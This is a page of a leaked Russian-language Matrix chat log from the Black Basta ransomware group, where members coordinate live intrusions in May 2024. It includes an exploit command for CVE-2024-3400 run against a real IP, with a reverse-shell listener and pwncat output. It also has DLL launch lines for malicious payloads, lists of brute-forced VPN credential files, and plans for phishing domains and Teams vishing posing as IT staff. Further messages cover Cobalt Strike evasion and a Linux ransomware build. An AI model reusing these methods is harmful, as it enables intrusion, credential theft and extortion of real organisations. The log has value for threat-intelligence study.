BlackBasta Matrix Chat — страница 173 из 199
2024-05-21 17:52:49
Black Basta
бро у меня сотрудник ходил искал стерлось все ищи .db файлы там логи хэш на впн
2024-05-21 17:52:58
Black Basta
остальное только сниф днс + керберы от винды
2024-05-21 17:53:15
Black Basta
есть на основе pcap, есть python реализация
2024-05-21 17:55:09
Black Basta
сначало забей back чтобы получить шелл
2024-05-21 17:56:29
Black Basta
таргеты по ревенью хорошие, работа на линукс поднимаем шелл потом прокидываем тунель далее берем инфу с самой этой глобал протек логин + хэш, дальше снифать керберосы от рдп и днс
2024-05-21 17:56:33
Black Basta
ставь его на линукс https://github.com/Chocapikk/CVE-2024-3400
2024-05-21 17:56:52
Black Basta
Снимок экрана 2024-05-21 в 20.45.17.png
2024-05-21 17:56:59
Black Basta
python3 exploit.py -u https://202.55.69.146 -lh 217.79.244.162 -lp 34058
2024-05-21 17:57:09
Black Basta
забиваем
2024-05-21 17:57:13
Black Basta
должно выпасть
2024-05-21 17:57:21
Black Basta
[+] Vulnerable: https://202.55.69.146
2024-05-21 17:57:27
Black Basta
(local) pwncat$ -- это оболочка
2024-05-21 17:57:33
Black Basta
забиваешь (local) pwncat$back энтер
2024-05-21 17:57:39
Black Basta
попадаешь в рутт шелла
2024-05-21 17:57:44
Black Basta
(local) pwncat$ back
2024-05-21 17:57:48
Black Basta
там смотри в .db файлах хэши впн + ставь сниффер на сбор керберосов
2024-05-21 17:58:19
Black Basta
___
2024-05-21 17:58:20
Black Basta
установи тунель и пингани локалку
2024-05-21 17:58:24
Black Basta
сначало забей back чтобы получить шелл
2024-05-21 17:58:32
Black Basta
> список команд для поднятия тунеля подрят составить нужно
2024-05-21 18:10:20
@usernameyy:matrix.bestflowers247.online
45.32.88.233
2024-05-21 18:10:22
@usernameyy:matrix.bestflowers247.online
linux socks
2024-05-21 18:28:54
@tinker:matrix.bestflowers247.online
да я вот второй день думаю что на это отвечать
2024-05-21 18:28:57
@tinker:matrix.bestflowers247.online
)))
2024-05-21 18:29:03
@tinker:matrix.bestflowers247.online
я думал они что-то допишут ещё
2024-05-21 18:42:19
@muaddib6:matrix.org
> <@usernamegg:matrix.bestflowers247.online> sent a file.
2024-05-21 18:42:48
@muaddib6:matrix.org
regsvr32 file.dll
2024-05-21 18:42:50
@muaddib6:matrix.org
строка:
2024-05-21 18:42:52
@muaddib6:matrix.org
2.7z
2024-05-21 18:43:07
@muaddib6:matrix.org
S8BZpaQtgzrWG4LyqAdKwV2ENkFMhRxPsUbXv9nDuH36jmYfC7
2024-05-21 18:43:30
Black Basta
++
2024-05-21 18:43:41
Black Basta
2.7z
2024-05-21 18:43:44
Black Basta
regsvr32 file.dll
2024-05-21 18:43:57
Black Basta
строка:
2024-05-21 18:44:02
Black Basta
для размножения
2024-05-21 18:44:13
Black Basta
ага
2024-05-21 18:44:15
@chuck:talks.icu
ага спасибо
2024-05-21 18:47:34
Black Basta
```
2024-05-21 18:55:49
Black Basta
```
2024-05-21 18:57:42
@nickolas:talks.icu
image.png
2024-05-21 18:58:15
@nickolas:talks.icu
пиздец, что бы войти в аккаунт мс, нужно войти в профиль эджа, а что бы в него войти, надо что бы у тебя еще был привязан мс ид в компе )))
2024-05-21 18:58:32
@nickolas:talks.icu
ох, пиздец, чем только не затыкают эндпоинты в компании
2024-05-21 18:59:48
Black Basta
видел такое, да
2024-05-21 18:59:56
@nickolas:talks.icu
жуть )
2024-05-21 18:59:57
Black Basta
это БАЗА
2024-05-21 19:00:13
@nickolas:talks.icu
не, именно на вход в аккаунт мс, впервые такое вижу
2024-05-21 19:00:16
Black Basta
в 2025 году будем крутить универы и больницы
2024-05-21 19:00:32
Black Basta
в 2026 году будем ставить gov
2024-05-21 19:00:45
Black Basta
в 2027 года снова начнем лить банки
2024-05-21 19:00:58
Black Basta
2028 я уйду на покой ) заебался
2024-05-21 19:01:07
Black Basta
))
2024-05-21 19:01:59
Black Basta
2028 в конце будет 0day под .doc и я буду слать опять квак бота ))
2024-05-21 19:03:15
@nickolas:talks.icu
квак бот ни где не отстучит =))
2024-05-21 19:26:19
@burito:matrix.bestflowers247.online
@usernamegg:matrix.bestflowers247.online
2024-05-21 19:26:19
@burito:matrix.bestflowers247.online
scks.zip
2024-05-21 19:26:49
Black Basta
++
2024-05-21 19:26:56
Black Basta
scks.zip
2024-05-21 19:26:59
Black Basta
rundll32.exe dll.dll,SetImage
2024-05-21 19:27:05
Black Basta
это от бурито
2024-05-21 19:28:21
@chuck:talks.icu
+++
2024-05-21 19:28:26
@chuck:talks.icu
биг сенкс
2024-05-21 19:34:23
Black Basta
позвонили ?
2024-05-21 19:36:43
@chuck:talks.icu
звоним
2024-05-21 19:37:51
Black Basta
++
2024-05-21 20:05:34
Black Basta
я хочу скоро отдыхать идти
2024-05-21 20:07:23
@chuck:talks.icu
аа да давай
2024-05-21 20:07:25
@chuck:talks.icu
мы все
2024-05-21 20:07:41
@chuck:talks.icu
накосячил я сегодня(
2024-05-21 20:08:43
Black Basta
понял
2024-05-21 20:22:01
@nickolas:talks.icu
есть бот без кред, хочешь попробовать ?
2024-05-21 20:22:36
Black Basta
сокс рабочий
2024-05-21 20:22:38
@nickolas:talks.icu
```
2024-05-21 20:22:43
@nickolas:talks.icu
да вот сокс рабочий
2024-05-21 20:27:03
Black Basta
```
2024-05-21 20:27:10
Black Basta
без кред
2024-05-21 20:27:23
@usernamess:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> ```
2024-05-21 20:27:58
Black Basta
++
2024-05-21 20:28:12
Black Basta
что сегодня накосячили
2024-05-21 20:28:55
Black Basta
а где DC ?
2024-05-21 20:29:14
@nickolas:talks.icu
в плане накосячили ?
2024-05-21 20:29:19
Black Basta
доп инфу с cmd
2024-05-21 20:29:24
@nickolas:talks.icu
щас зайду на цмд гляну
2024-05-21 20:30:38
Black Basta
можно шелл
2024-05-21 20:30:40
Black Basta
я зайду
2024-05-21 20:31:03
Black Basta
когда у меня есть доступ к cmd так подручней
2024-05-21 20:31:31
Black Basta
.ppk
2024-05-21 20:31:46
@nickolas:talks.icu
ща
2024-05-21 20:31:59
@nickolas:talks.icu
сек
2024-05-21 20:41:45
@nickolas:talks.icu
а блин, оно отпало (
2024-05-21 20:41:53
@nickolas:talks.icu
да сегодня день дрянь
2024-05-21 20:59:41
Black Basta
оно отпало (
2024-05-21 21:09:29
@usernamess:matrix.bestflowers247.online
kflyj
2024-05-21 21:09:33
@usernamess:matrix.bestflowers247.online
* ладно
2024-05-21 21:09:35
@usernamess:matrix.bestflowers247.online
я спать
2024-05-22 07:16:01
@usernamett:matrix.bestflowers247.online
`45.32.88.233:33893 AZIYO`
2024-05-22 07:21:04
@usernameyy:matrix.bestflowers247.online
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/beacon-object-files_main.htm читать пункт "What are the disadvantages of BOFs?
2024-05-22 07:43:09
@lapa:matrix.bestflowers247.online
Доброе утро!
2024-05-22 07:43:18
@lapa:matrix.bestflowers247.online
Получается у него сделать домены для фишинга?
2024-05-22 07:46:59
@lapa:matrix.bestflowers247.online
CISCO_VALID_ITEMS.txt
2024-05-22 07:47:00
@lapa:matrix.bestflowers247.online
CIT_AUTH_VALID1.txt
2024-05-22 07:47:01
@lapa:matrix.bestflowers247.online
OKTA_VALID.txt
2024-05-22 07:47:01
@lapa:matrix.bestflowers247.online
WG_VALID.txt
2024-05-22 07:47:02
@lapa:matrix.bestflowers247.online
VALID_BRUT_CISCO.txt
2024-05-22 07:47:02
@lapa:matrix.bestflowers247.online
VALID_BRUT_RDWEB.txt
2024-05-22 07:47:03
@lapa:matrix.bestflowers247.online
FORTI_VALID.txt
2024-05-22 07:47:03
@lapa:matrix.bestflowers247.online
AUTH_VALID.txt
2024-05-22 07:47:04
@lapa:matrix.bestflowers247.online
VALID_BRUT_SONIC.txt
2024-05-22 07:54:40
Black Basta
доброе утро
2024-05-22 07:55:41
Black Basta
у меня на ближайшие две недели все строго расписано пока noizefan - лайв панель (фишин) @ 20:31
2024-05-22 07:55:54
Black Basta
вот у него есть лайв панель и он сможет под соник сделать
2024-05-22 07:57:51
Black Basta
verb0 - ему написал сейчас еще но у него нету лайв панели
2024-05-22 07:58:00
Black Basta
мы где то близко но пока топчимся на месте
2024-05-22 07:58:04
Black Basta
я пока не могу нащупать
2024-05-22 07:58:17
Black Basta
* мы где то близко но пока топчемся на месте
2024-05-22 07:58:50
@lapa:matrix.bestflowers247.online
+
2024-05-22 07:59:11
@lapa:matrix.bestflowers247.online
ну майкрософт думаю еще будет защиту менять для формы авторизации против фишинга
2024-05-22 07:59:26
@lapa:matrix.bestflowers247.online
когда будем активно слать
2024-05-22 07:59:52
@lapa:matrix.bestflowers247.online
посмотрим короч
2024-05-22 07:59:55
Black Basta
ну это понятно
2024-05-22 08:00:11
Black Basta
мы когда начинали работал макрос у экселя
2024-05-22 08:00:19
Black Basta
и еще куча вариантов потом нашли
2024-05-22 08:00:24
Black Basta
сейчас все это не работает
2024-05-22 08:00:48
Black Basta
сейчас приходиться придумывать велосипед
2024-05-22 08:01:02
Black Basta
благо есть пока у нас брут
2024-05-22 08:02:53
@lapa:matrix.bestflowers247.online
но в нем еще и 2аф на норм конторы как я понял
2024-05-22 08:03:23
Black Basta
да но все же не без работы сидим
2024-05-22 08:03:28
Black Basta
так бы всех распутить пришлось
2024-05-22 08:03:51
@lapa:matrix.bestflowers247.online
+
2024-05-22 08:04:04
@lapa:matrix.bestflowers247.online
у вас получилось во вчерашние adfs войти куда-то ?
2024-05-22 08:04:13
Black Basta
да
2024-05-22 08:04:24
Black Basta
я не нашел точку входа в сеь
2024-05-22 08:04:31
@lapa:matrix.bestflowers247.online
ну в плане взяли что-то в работу?
2024-05-22 08:04:32
Black Basta
уже и к впнам подбирали доступ
2024-05-22 08:04:44
Black Basta
сидели у меня прям несколько часов два человека искали точку входа
2024-05-22 08:04:57
Black Basta
нет не взяли
2024-05-22 08:05:01
@lapa:matrix.bestflowers247.online
понял
2024-05-22 08:05:07
Black Basta
image.png
2024-05-22 08:05:19
Black Basta
пиздец, что бы войти в аккаунт мс, нужно войти в профиль эджа, а что бы в него войти, надо что бы у тебя еще был привязан мс ид в компе )))
2024-05-22 08:05:36
Black Basta
вчера скинул чел из команды другой
2024-05-22 08:06:21
@lapa:matrix.bestflowers247.online
ну пытаются защититься максимально)
2024-05-22 08:06:53
@lapa:matrix.bestflowers247.online
ладно, я пока тут брут для форти посмотрю... а то что-то с него вообще ничего. видимо так лочит норм
2024-05-22 08:07:15
Black Basta
давай
2024-05-22 08:08:39
@chuck:talks.icu
привет
2024-05-22 08:08:47
@chuck:talks.icu
краудстрайк палит дллки сокса(
2024-05-22 08:09:24
Black Basta
привет
2024-05-22 08:09:27
Black Basta
сейчас скажу им
2024-05-22 08:09:32
Black Basta
краудстрайк палит дллки сокса(
2024-05-22 08:09:40
Black Basta
на каком этапе палит
2024-05-22 08:09:43
@chuck:talks.icu
аа бурито ща пробну
2024-05-22 08:09:45
Black Basta
сейчас начнут меня спрашивать
2024-05-22 08:09:55
@chuck:talks.icu
на копировании походу
2024-05-22 08:10:03
@chuck:talks.icu
это беновский палит
2024-05-22 08:10:25
Black Basta
на копировании походу
2024-05-22 08:10:36
Black Basta
burrito: твой сейчас попробую
2024-05-22 08:10:42
Black Basta
сказал
2024-05-22 08:10:47
Black Basta
нужен результат от бурито
2024-05-22 08:10:54
Black Basta
они у меня тут в одном чате сидят вместе
2024-05-22 08:11:02
Black Basta
могу добавить тебя
2024-05-22 08:11:31
Black Basta
скидывать будешь что нужно криптануть
2024-05-22 08:11:38
Black Basta
они все равно оба на зарплате у меня
2024-05-22 08:11:45
Black Basta
тебе не надо будет тратить $
2024-05-22 08:12:51
@chuck:talks.icu
точно на копировании
2024-05-22 08:12:56
@chuck:talks.icu
ща бурито чекну
2024-05-22 08:13:12
@chuck:talks.icu
> <@usernamegg:matrix.bestflowers247.online> скидывать будешь что нужно криптануть
2024-05-22 08:16:57
@chuck:talks.icu
а от бурито 5.161.250.129_443.bin.dll палит
2024-05-22 08:26:05
Black Basta
burrito: тоже палит
2024-05-22 08:26:25
Black Basta
чак вам по сокс боту все отпишет сейчас, он проверял
2024-05-22 08:26:56
Black Basta
CISCO_VALID_ITEMS.txt
2024-05-22 08:27:01
Black Basta
CIT_AUTH_VALID1.txt
2024-05-22 08:27:06
Black Basta
OKTA_VALID.txt
2024-05-22 08:27:10
Black Basta
WG_VALID.txt
2024-05-22 08:27:15
Black Basta
VALID_BRUT_CISCO.txt
2024-05-22 08:27:34
Black Basta
VALID_BRUT_RDWEB.txt
2024-05-22 08:27:41
Black Basta
FORTI_VALID.txt
2024-05-22 08:27:47
Black Basta
AUTH_VALID.txt
2024-05-22 08:27:52
Black Basta
VALID_BRUT_SONIC.txt
2024-05-22 08:30:11
@chuck:talks.icu
всем привет
2024-05-22 08:30:41
@chuck:talks.icu
а кто там бен?
2024-05-22 08:34:18
Black Basta
Han
2024-05-22 08:38:54
@usernameyy:matrix.bestflowers247.online
```
2024-05-22 08:44:10
@chuck:talks.icu
ок понял
2024-05-22 08:44:40
@chuck:talks.icu
burrito: 5.161.250.129_443.bin.dll палит crowdstrike
2024-05-22 08:48:58
Black Basta
ушло
2024-05-22 08:49:06
@usernamess:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> sent a file.
2024-05-22 08:49:06
@usernameyy:matrix.bestflowers247.online
есть
2024-05-22 08:49:13
Black Basta
Спасибо выручил
2024-05-22 08:49:18
Black Basta
вчера что то запарился а то
2024-05-22 08:49:20
@usernameyy:matrix.bestflowers247.online
не за что)
2024-05-22 08:50:37
Black Basta
они не очень рано приходят
2024-05-22 08:51:19
@chuck:talks.icu
ну да
2024-05-22 08:52:40
@chuck:talks.icu
слух, а ты на наши соксы ничего не грузил?
2024-05-22 08:52:48
@chuck:talks.icu
чето набежало опять, походу песок
2024-05-22 08:53:03
@chuck:talks.icu
хотя их не грузили вчера
2024-05-22 08:53:17
Black Basta
нет
2024-05-22 08:53:21
Black Basta
я твои не трогаю
2024-05-22 08:53:27
Black Basta
может они когда криптуют что то запускают
2024-05-22 08:56:37
Black Basta
попробуем с соником ?
2024-05-22 08:56:48
Black Basta
Снимок экрана 2024-05-22 в 11.38.10.png
2024-05-22 08:56:53
Black Basta
мне нравиться идея
2024-05-22 08:58:22
@usernamett:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> sent a file.
2024-05-22 09:04:25
@lapa:matrix.bestflowers247.online
ну попробуем
2024-05-22 09:05:05
Black Basta
он правда citrix уже доделал почти
2024-05-22 09:05:06
@lapa:matrix.bestflowers247.online
тогда скоро подготовлю... ведь нужно еще отобрать тех, у кого соник есть
2024-05-22 09:05:32
@lapa:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> он правда citrix уже доделал почти
2024-05-22 09:05:36
Black Basta
image.png
2024-05-22 09:05:37
@lapa:matrix.bestflowers247.online
у него с 2аф там все ?
2024-05-22 09:05:50
@lapa:matrix.bestflowers247.online
а, ну куки перехватыет
2024-05-22 09:07:32
Black Basta
да
2024-05-22 09:08:59
@lapa:matrix.bestflowers247.online
а, блин, а как будем понимать в какой форти заходить?
2024-05-22 09:09:08
@lapa:matrix.bestflowers247.online
или в какой ситрикс заходить?
2024-05-22 09:09:35
@lapa:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> sent an image.
2024-05-22 09:11:01
@lapa:matrix.bestflowers247.online
и еще проблема в том, что для у одной компании(особенно крупной), может быть несколько айпишников впн
2024-05-22 09:12:02
@lapa:matrix.bestflowers247.online
вот он сделает фейк домен: допустим `forti-fake.com`
2024-05-22 09:12:42
@lapa:matrix.bestflowers247.online
а я буду слать в письме `forti-fake.com/?ip=base64encoded_ip_address`
2024-05-22 09:12:55
@chuck:talks.icu
понял
2024-05-22 09:13:21
@lapa:matrix.bestflowers247.online
* а, блин, а как будем понимать в какой соник заходить?
2024-05-22 09:13:36
@lapa:matrix.bestflowers247.online
* вот он сделает фейк домен: допустим `sonic-fake.com`
2024-05-22 09:13:40
@lapa:matrix.bestflowers247.online
* а я буду слать в письме `sonic-fake.com/?ip=base64encoded_ip_address`
2024-05-22 09:13:51
@lapa:matrix.bestflowers247.online
base64encoded_ip_address это у нас по сути айпишник реального соника
2024-05-22 09:14:02
@lapa:matrix.bestflowers247.online
* base64encoded\_ip\_address это у нас по сути айпишник реального соника зашифрованный в base64
2024-05-22 09:14:14
@lapa:matrix.bestflowers247.online
по идеи нам так нужно делать будет
2024-05-22 09:14:30
@lapa:matrix.bestflowers247.online
но как решить проблему нескольких апишников хз
2024-05-22 09:14:41
@lapa:matrix.bestflowers247.online
* но как решить проблему нескольких апишников для авторизации, не знаю
2024-05-22 09:21:59
@lapa:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> sent an image.
2024-05-22 09:22:21
@lapa:matrix.bestflowers247.online
в общем спросите у него, сможет ли он такое сделать
2024-05-22 09:24:45
Black Basta
сейчас
2024-05-22 09:25:13
@nickolas:talks.icu
привет!
2024-05-22 09:25:36
@muaddib6:matrix.org
Понял. переделываю.
2024-05-22 09:25:57
@nickolas:talks.icu
Вообщем я вчера смотрел - смотрел, наверно teams очень не плохой вектор фишинга и вишинга )
2024-05-22 09:26:23
@nickolas:talks.icu
им почти всем можно звонить и писать в тимс, но только лишь одна проблема, если собеседник внешний, им нужно принять контакт
2024-05-22 09:26:43
@usernamecc:matrix.bestflowers247.online
`aziyo.com \\ id:fe7dff20-bca8-4262-b3d5-5830e31216f3`
2024-05-22 09:26:48
Black Basta
да
2024-05-22 09:26:52
Black Basta
это проблема
2024-05-22 09:26:58
Black Basta
я отработал тимс год назад
2024-05-22 09:27:05
Black Basta
я еще спамил по ним
2024-05-22 09:27:08
Black Basta
но не звонил
2024-05-22 09:27:10
Black Basta
попробуй
2024-05-22 09:27:18
@nickolas:talks.icu
ну спам, такое себе )
2024-05-22 09:27:38
@nickolas:talks.icu
нам какая разница по сути, звонить на номер телефона, или звонить в тимс
2024-05-22 09:29:09
Black Basta
нету да
2024-05-22 09:29:15
Black Basta
по тимсу вы точно попадете
2024-05-22 09:29:32
Black Basta
по тимсу можно еще создать акк типа it admin
2024-05-22 09:29:40
Black Basta
ему звонит админ типа
2024-05-22 09:29:40
@nickolas:talks.icu
да да да =)
2024-05-22 09:29:45
Black Basta
и начинает грузить его
2024-05-22 09:29:48
Black Basta
пробуй
2024-05-22 09:29:50
@nickolas:talks.icu
ну там будет просто external написано
2024-05-22 09:29:57
Black Basta
хорошая идея это лучше чем на трубки звонить
2024-05-22 09:29:59
Black Basta
уж точно
2024-05-22 09:30:16
@nickolas:talks.icu
у трубок есть свой плюс, номера откуда звони не блокируют )
2024-05-22 09:30:37
Black Basta
тимс могут локнуть
2024-05-22 09:30:51
Black Basta
там проплатить можно обычным картоном тимс
2024-05-22 09:30:58
@nickolas:talks.icu
Ага, и посмотреть и послать оповещения всем, кому мы с него звонили
2024-05-22 09:31:01
Black Basta
я разные эксперементы с ним делал
2024-05-22 09:31:04
@nickolas:talks.icu
Да там копейки, да )
2024-05-22 09:31:10
Black Basta
один чел у меня до сих пор по тимсу работает
2024-05-22 09:31:16
@nickolas:talks.icu
Ты делал бизнес аккаунты ?
2024-05-22 09:31:22
Black Basta
привет
2024-05-22 09:31:25
Black Basta
ты куда пропал ?
2024-05-22 09:31:27
@nickolas:talks.icu
> <@usernamegg:matrix.bestflowers247.online> один чел у меня до сих пор по тимсу работает
2024-05-22 09:31:49
@nickolas:talks.icu
я уже просто хер знает, в какую сторону смотреть, что бы сделать устойчивых доступов
2024-05-22 09:32:07
Black Basta
> <@nickolas:talks.icu> о прикольно. А что он делает с тимсом ?
2024-05-22 09:32:21
Black Basta
> <@nickolas:talks.icu> я уже просто хер знает, в какую сторону смотреть, что бы сделать устойчивых доступов
2024-05-22 09:32:24
Black Basta
хочу домой )
2024-05-22 09:32:36
@nickolas:talks.icu
точнее даже не так, в какую сторону смотреть понятно.
2024-05-22 09:32:47
@nickolas:talks.icu
> <@usernamegg:matrix.bestflowers247.online> хочу домой )
2024-05-22 09:33:22
@nickolas:talks.icu
Вот такое чувство, что мы сейчас дрючим умирающую тему)
2024-05-22 09:33:45
Black Basta
рецессия брат
2024-05-22 09:33:48
Black Basta
жесткая идет
2024-05-22 09:33:51
Black Basta
я это наблюдаю
2024-05-22 09:33:53
@nickolas:talks.icu
Сложно сильно выросла, сильно очень.
2024-05-22 09:33:55
Black Basta
сложность растет еще
2024-05-22 09:34:00
Black Basta
2024 год братишка
2024-05-22 09:34:06
Black Basta
они там научились многим вещам
2024-05-22 09:34:06
@nickolas:talks.icu
ебанный год!
2024-05-22 09:34:10
@nickolas:talks.icu
вот реально ебанный )
2024-05-22 09:34:24
@nickolas:talks.icu
у меня он с первых дней года не заладился )
2024-05-22 09:34:39
Black Basta
я не к тому какой год я к тому что времени когда мы начинали и как все сейчас устроено
2024-05-22 09:35:04
@nickolas:talks.icu
ну 2020 против 2024, конечно, разница огромная, но и мы не стоим на месте тоже.
2024-05-22 09:35:16
Black Basta
это да
2024-05-22 09:35:22
@nickolas:talks.icu
вот наши бы текущие навыки, да в 2020 год =)
2024-05-22 09:35:32
@nickolas:talks.icu
пиздец бы чего было :)
2024-05-22 09:35:55
Black Basta
так всегда )
2024-05-22 09:36:00
Black Basta
я бы их в рот всех выебал
2024-05-22 09:36:03
Black Basta
кошелек бы лопнул
2024-05-22 09:36:03
@nickolas:talks.icu
согласен )
2024-05-22 09:36:35
@nickolas:talks.icu
Надо просто искать альтернативы...
2024-05-22 09:36:43
@nickolas:talks.icu
Порог входа во всякие взломы просто повышается
2024-05-22 09:37:08
Black Basta
нужно найти куда бить что бы зайти
2024-05-22 09:37:12
Black Basta
у тебя звонки
2024-05-22 09:37:16
Black Basta
у меня брут и фейки пока
2024-05-22 09:37:28
@nickolas:talks.icu
ну у нас звонки и фейки считай.
2024-05-22 09:37:30
Black Basta
спам на фейки все равно это супер трафик
2024-05-22 09:37:41
Black Basta
да у тебя звонки и фейки
2024-05-22 09:37:56
Black Basta
citrix сегодня буду пробовать
2024-05-22 09:38:04
@nickolas:talks.icu
я просто в бруте перспектив особо не вижу, по этому и не лезу туда.
2024-05-22 09:38:16
@nickolas:talks.icu
правильно, давай, может что-то придет
2024-05-22 09:38:42
Black Basta
> <@nickolas:talks.icu> я просто в бруте перспектив особо не вижу, по этому и не лезу туда.
2024-05-22 09:39:13
@nickolas:talks.icu
а вот я с учетом звоноков, сижу без работы 😐️
2024-05-22 09:39:25
Black Basta
еще с брута сети не такие вкусыне , наполненые как со спама или точечных атак (твоих звонков) , с брута как будь то забывашки , потеряшки
2024-05-22 09:39:38
@nickolas:talks.icu
ну так оно и есть (
2024-05-22 09:39:46
@nickolas:talks.icu
плюс у тебя большой разброс по гео думаю
2024-05-22 09:40:19
Black Basta
сперва была чисто юса и канада
2024-05-22 09:40:24
Black Basta
потом начал добавлять страны
2024-05-22 09:40:41
@nickolas:talks.icu
ага, ну юс,ка,юк,де,ат - самое сладкое
2024-05-22 09:40:43
Black Basta
когда топ страны начали заканчиваться
2024-05-22 09:40:49
@nickolas:talks.icu
остальное - по большому счету трата времени
2024-05-22 09:40:53
@nickolas:talks.icu
работа ради работы
2024-05-22 09:41:43
@nickolas:talks.icu
блин вот вроде столько людей с мозгами и руками, а ничего стабильного пока не можем придумать.
2024-05-22 09:41:48
@nickolas:talks.icu
Все в тестах-тестах )
2024-05-22 09:41:57
Black Basta
ага
2024-05-22 09:42:19
@nickolas:talks.icu
хотя квак тоже последние пол года 2023 не особо давал резульатты
2024-05-22 09:42:39
Black Basta
нету дроппера что слать
2024-05-22 09:42:43
Black Basta
был бы дроппер
2024-05-22 09:42:45
@nickolas:talks.icu
тоже вспомни 2023 начало года, там был дроппер какой то хороший, моментом прострелило, а потом все.
2024-05-22 09:42:47
Black Basta
цели бы были
2024-05-22 09:43:06
Black Basta
прострелило, а потом все - да это временно
2024-05-22 09:43:06
@nickolas:talks.icu
да нужен не квак, а сокс бот :)
2024-05-22 09:43:12
Black Basta
они быстро прикрывают сразу
2024-05-22 09:43:21
@nickolas:talks.icu
сокс + креды, и все ништяк )
2024-05-22 09:43:35
Black Basta
полетели
2024-05-22 09:43:48
@nickolas:talks.icu
потому что от кобы толку ну вообще нихуя
2024-05-22 09:43:57
@nickolas:talks.icu
ты юзаешь вообще ее ?
2024-05-22 09:44:08
@nickolas:talks.icu
по моему в 2023 бестолковая херная, которую надо еще чистить постоянно
2024-05-22 09:44:37
@nickolas:talks.icu
на воркстанциях везде едр, запустишь кобу, сразу пизды получишь, наведешь шухера, и выпилят все и везде
2024-05-22 09:45:13
Black Basta
> <@nickolas:talks.icu> потому что от кобы толку ну вообще нихуя
2024-05-22 09:45:19
Black Basta
юзаю
2024-05-22 09:45:31
Black Basta
там конструктор свой надо собрать и профиль делать
2024-05-22 09:45:36
Black Basta
хороший
2024-05-22 09:45:49
@nickolas:talks.icu
да это есть у нас
2024-05-22 09:45:50
Black Basta
если все держать как есть толку не будет
2024-05-22 09:45:54
Black Basta
привет
2024-05-22 09:45:55
@nickolas:talks.icu
юдрл кастомный
2024-05-22 09:45:57
Black Basta
ты как там ?
2024-05-22 09:46:01
@nickolas:talks.icu
профиля
2024-05-22 09:46:16
Black Basta
там очень важен профиль
2024-05-22 09:46:20
Black Basta
видимо что то не так с ним
2024-05-22 09:46:28
Black Basta
и cna нужны для билдов
2024-05-22 09:46:39
Black Basta
даже ждя джампа можно все почистить
2024-05-22 09:46:45
Black Basta
ну короче суета и дикая наработа
2024-05-22 09:46:50
Black Basta
коба ахуенный интрусмент
2024-05-22 09:47:03
Black Basta
нужно человека под него брать который будет все всегда чистить и тд
2024-05-22 09:47:15
Black Basta
лучший инструмент если его праивльно использовать
2024-05-22 09:47:19
Black Basta
ну просто пушка
2024-05-22 09:47:27
@nickolas:talks.icu
да это понятно, что он очень гибкий.
2024-05-22 09:47:28
Black Basta
я тоже чуть не отказался от него
2024-05-22 09:47:38
Black Basta
заебался
2024-05-22 09:47:43
@nickolas:talks.icu
просто смысл в агенте на компе ?
2024-05-22 09:47:48
Black Basta
такргеты уходили в офф один за другим
2024-05-22 09:47:52
Black Basta
брейкер свой написали
2024-05-22 09:47:54
Black Basta
работает
2024-05-22 09:47:57
Black Basta
ушли на него
2024-05-22 09:48:17
Black Basta
кобу начал крутить смотреть со всех сторон как тот кубик помнишь? с разными цветами
2024-05-22 09:48:22
Black Basta
вот по тихой начал собрать
2024-05-22 09:48:34
Black Basta
тперь только я могу компилить нормальные .bin под крипт
2024-05-22 09:48:58
@nickolas:talks.icu
ну я видел, какой ты файл давал кобы с сайд длл загрузкой
2024-05-22 09:49:03
@nickolas:talks.icu
плюс писали
2024-05-22 09:49:17
@nickolas:talks.icu
кортес сразу приметил, что ты сайд используешь для запуска cs
2024-05-22 09:49:23
@nickolas:talks.icu
а конечная цель кобальта какая ?
2024-05-22 09:49:29
Black Basta
++
2024-05-22 09:49:42
Black Basta
ну любая
2024-05-22 09:51:18
@n3auxaxl:matrix.collectionofmanager.space
Привет
2024-05-22 09:51:27
@n3auxaxl:matrix.collectionofmanager.space
нормально
2024-05-22 09:51:31
Black Basta
отлично
2024-05-22 09:51:36
@n3auxaxl:matrix.collectionofmanager.space
занимаюсь локером
2024-05-22 09:51:37
Black Basta
на каком этапе ?
2024-05-22 09:51:42
@n3auxaxl:matrix.collectionofmanager.space
только хотел тебе писать
2024-05-22 09:51:52
@n3auxaxl:matrix.collectionofmanager.space
слушай, под линукс билды нужны только amd64?
2024-05-22 09:51:54
Black Basta
пингую тебя пн ср пт
2024-05-22 09:52:01
@n3auxaxl:matrix.collectionofmanager.space
или подж x86 архитектуру тоже нужно?
2024-05-22 09:52:17
@n3auxaxl:matrix.collectionofmanager.space
или может под arm
2024-05-22 09:52:29
Black Basta
df45ee4c-1060-483e-9214-884f23526c6clinuxencrypt_6q6jip81j2h_.linux
2024-05-22 09:52:32
Black Basta
вот такие у нас сейчас
2024-05-22 09:52:55
Black Basta
от прошлой версии сейчас могу показать
2024-05-22 09:53:24
@n3auxaxl:matrix.collectionofmanager.space
> <@usernamegg:matrix.bestflowers247.online> на каком этапе ?
2024-05-22 09:53:43
@nickolas:talks.icu
вот у меня такое ощущение, что все бабло щас в крипте
2024-05-22 09:53:45
@n3auxaxl:matrix.collectionofmanager.space
под винду уже будет в ПН готово сто проц
2024-05-22 09:53:55
@nickolas:talks.icu
столько там крутят на разных шитках, пиздец просто
2024-05-22 09:53:58
Black Basta
df45ee4c-1060-483e-9214-884f23526c6c_encrypt_release_exactfolder_x32.linux
2024-05-22 09:54:00
Black Basta
вот от прошлой версии
2024-05-22 09:54:00
@n3auxaxl:matrix.collectionofmanager.space
под линукс до пятницы успею если толкьо amd64 надо делать
2024-05-22 09:54:07
Black Basta
YY что то подкрутил и вес уменьшил
2024-05-22 09:54:10
Black Basta
реверс сделай
2024-05-22 09:54:17
@n3auxaxl:matrix.collectionofmanager.space
щас вот посмотрю как раз
2024-05-22 09:54:40
@n3auxaxl:matrix.collectionofmanager.space
да, щас в иду закину
2024-05-22 09:54:42
Black Basta
> <@usernamegg:matrix.bestflowers247.online> sent a file.
2024-05-22 09:54:47
@n3auxaxl:matrix.collectionofmanager.space
пару сек
2024-05-22 09:54:54
Black Basta
> <@usernamegg:matrix.bestflowers247.online> sent a file.
2024-05-22 09:55:10
Black Basta
YY тоже уже опыта набрался
2024-05-22 09:55:29
Black Basta
> <@nickolas:talks.icu> вот у меня такое ощущение, что все бабло щас в крипте
2024-05-22 09:55:48
